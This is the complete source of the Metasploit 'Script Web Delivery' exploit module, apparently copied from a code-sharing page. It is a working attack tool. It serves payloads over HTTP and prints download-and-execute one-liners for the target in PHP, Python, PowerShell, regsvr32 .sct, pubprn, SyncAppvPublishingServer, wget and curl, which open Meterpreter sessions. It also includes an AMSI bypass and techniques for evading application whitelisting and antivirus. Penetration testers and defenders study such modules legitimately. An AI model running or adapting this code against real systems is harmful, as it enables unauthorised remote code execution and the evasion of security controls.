Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/script/web_delivery.rb
31696 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::EXE
10
include Msf::Exploit::Powershell
11
include Msf::Exploit::Remote::HttpServer
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Script Web Delivery',
18
'Description' => %q{
19
This module quickly fires up a web server that serves a payload.
20
21
The module will provide a command to be run on the target machine
22
based on the selected target. The provided command will download
23
and execute a payload using either a specified scripting language
24
interpreter or "squiblydoo" via regsvr32.exe for bypassing
25
application whitelisting.
26
27
The main purpose of this module is to quickly establish a session on a
28
target machine when the attacker has to manually type in the command:
29
e.g. Command Injection, RDP Session, Local Access or maybe Remote
30
Command Execution.
31
32
This attack vector does not write to disk so it is less likely to
33
trigger AV solutions and will allow privilege escalations supplied
34
by Meterpreter.
35
36
When using either of the PSH targets, ensure the payload architecture
37
matches the target computer or use SYSWOW64 powershell.exe to execute
38
x86 payloads on x64 machines.
39
40
Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
41
The signed Microsoft binary file, Regsvr32, is able to request an .sct
42
file and then execute the included PowerShell command inside of it.
43
44
Similarly, the pubprn target uses the pubprn.vbs script to request and
45
execute a .sct file.
46
47
Both web requests (i.e., the .sct file and PowerShell download/execute)
48
can occur on the same port.
49
50
The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
51
Microsoft signed binary to request and execute a PowerShell script. This
52
technique only works on Windows 10 builds <= 1709.
53
54
"PSH (Binary)" will write a file to the disk, allowing for custom binaries
55
to be served up to be downloaded and executed.
56
},
57
'License' => MSF_LICENSE,
58
'Author' => [
59
'Andrew Smith "jakx" <[email protected]>',
60
'Ben Campbell',
61
'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
62
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
63
'Trenton Ivey', # AppLocker MSF Module (kn0)
64
'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
65
'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
66
],
67
'DefaultOptions' => {
68
'Payload' => 'python/meterpreter/reverse_tcp',
69
'Powershell::exec_in_place' => true
70
},
71
'References' => [
72
['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
73
['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
74
['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
75
['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
76
['URL', 'http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html'],
77
['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
78
['URL', 'https://iwantmore.pizza/posts/amsi.html'],
79
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],
80
['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],
81
['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],
82
],
83
'Targets' => [
84
[
85
'Python', {
86
'Platform' => 'python',
87
'Arch' => ARCH_PYTHON
88
}
89
],
90
[
91
'PHP', {
92
'Platform' => 'php',
93
'Arch' => ARCH_PHP
94
}
95
],
96
[
97
'PSH', {
98
'Platform' => 'win',
99
'Arch' => [ARCH_X86, ARCH_X64]
100
}
101
],
102
[
103
'Regsvr32', {
104
'Platform' => 'win',
105
'Arch' => [ARCH_X86, ARCH_X64]
106
}
107
],
108
[
109
'pubprn', {
110
'Author' => [
111
'bcoles',
112
'Matt Nelson' # @enigma0x3
113
],
114
'Platform' => 'win',
115
'Arch' => [ARCH_X86, ARCH_X64]
116
}
117
],
118
[
119
'SyncAppvPublishingServer', {
120
'Author' => [
121
'bcoles',
122
'Nick Landers' # @monoxgas
123
],
124
'Platform' => 'win',
125
'Arch' => [ARCH_X86, ARCH_X64]
126
}
127
],
128
[
129
'PSH (Binary)', {
130
'Platform' => 'win',
131
'Arch' => [ARCH_X86, ARCH_X64]
132
}
133
],
134
[
135
'Linux', {
136
'Author' => 'bcoles',
137
'Platform' => 'linux',
138
'Arch' => [ARCH_X86, ARCH_X64]
139
}
140
],
141
[
142
'Mac OS X', {
143
'Platform' => 'osx',
144
'Arch' => [ARCH_X86, ARCH_X64]
145
}
146
],
147
],
148
'DefaultTarget' => 0,
149
'DisclosureDate' => '2013-07-19',
150
'Notes' => {
151
'Reliability' => UNKNOWN_RELIABILITY,
152
'Stability' => UNKNOWN_STABILITY,
153
'SideEffects' => UNKNOWN_SIDE_EFFECTS
154
}
155
)
156
)
157
158
register_advanced_options(
159
[
160
OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),
161
OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
162
OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
163
OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),
164
OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
165
OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
166
OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
167
]
168
)
169
end
170
171
def primer
172
print_status('Run the following command on the target machine:')
173
174
case target.name
175
when 'PHP'
176
print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))
177
when 'Python'
178
print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))
179
when 'PSH'
180
uri = get_uri
181
if datastore['PSH-AmsiBypass']
182
amsi_uri = uri + amsi_bypass_uri
183
print_line(gen_psh([amsi_uri, uri], 'string').to_s)
184
else
185
print_line(gen_psh(uri, 'string').to_s)
186
end
187
when 'pubprn'
188
print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))
189
when 'SyncAppvPublishingServer'
190
print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))
191
when 'Regsvr32'
192
print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))
193
when 'PSH (Binary)'
194
psh = gen_psh(get_uri.to_s, 'download')
195
print_line(psh.to_s)
196
when 'Linux'
197
fname = Rex::Text.rand_text_alphanumeric(8)
198
print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
199
when 'Mac OS X'
200
fname = Rex::Text.rand_text_alphanumeric(8)
201
print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
202
end
203
end
204
205
def amsi_bypass_uri
206
unless datastore['PSH-AmsiBypassURI'].empty?
207
@amsi_uri = datastore['PSH-AmsiBypassURI']
208
end
209
@amsi_uri ||= random_uri
210
end
211
212
def on_request_uri(cli, request)
213
if request.raw_uri.to_s.ends_with?('.sct')
214
print_status('Handling .sct Request')
215
psh = gen_psh(get_uri.to_s, 'string')
216
217
case target.name
218
when 'pubprn'
219
data = gen_pubprn_sct_file(psh)
220
when 'Regsvr32'
221
data = gen_sct_file(psh)
222
else
223
print_error('Unexpected request for .sct file')
224
end
225
226
send_response(cli, data, 'Content-Type' => 'text/plain')
227
return
228
end
229
230
if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
231
data = bypass_powershell_protections
232
print_status("Delivering AMSI Bypass (#{data.length} bytes)")
233
send_response(cli, data, 'Content-Type' => 'text/plain')
234
return
235
end
236
237
case target.name
238
when 'Linux', 'Mac OS X', 'PSH (Binary)'
239
data = generate_payload_exe
240
when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'
241
data = cmd_psh_payload(
242
payload.encoded,
243
payload_instance.arch.first
244
)
245
else
246
data = payload.encoded.to_s
247
end
248
249
print_status("Delivering Payload (#{data.length} bytes)")
250
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
251
end
252
253
def gen_psh(url, *method)
254
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
255
force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']
256
257
if method.include? 'string'
258
download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)
259
else
260
# Random filename to use, if there isn't anything set
261
random = "#{rand_text_alphanumeric(8)}.exe"
262
263
# Set filename (Use random filename if empty)
264
filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']
265
266
# Set path (Use %TEMP% if empty)
267
path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')
268
269
# Join Path and Filename
270
file = %(echo (#{path}+'\\#{filename}'))
271
272
# Generate download PowerShell command
273
download_string = Rex::Powershell::PshMethods.download_run(url, file)
274
end
275
276
download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"
277
278
# Generate main PowerShell command
279
if datastore['PSH-EncodedCommand']
280
download_and_run = encode_script(download_and_run)
281
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
282
end
283
284
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
285
end
286
287
def rand_class_id
288
"#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"
289
end
290
291
def gen_sct_file(command)
292
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
293
end
294
295
def gen_pubprn_sct_file(command)
296
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
297
end
298
end
299
300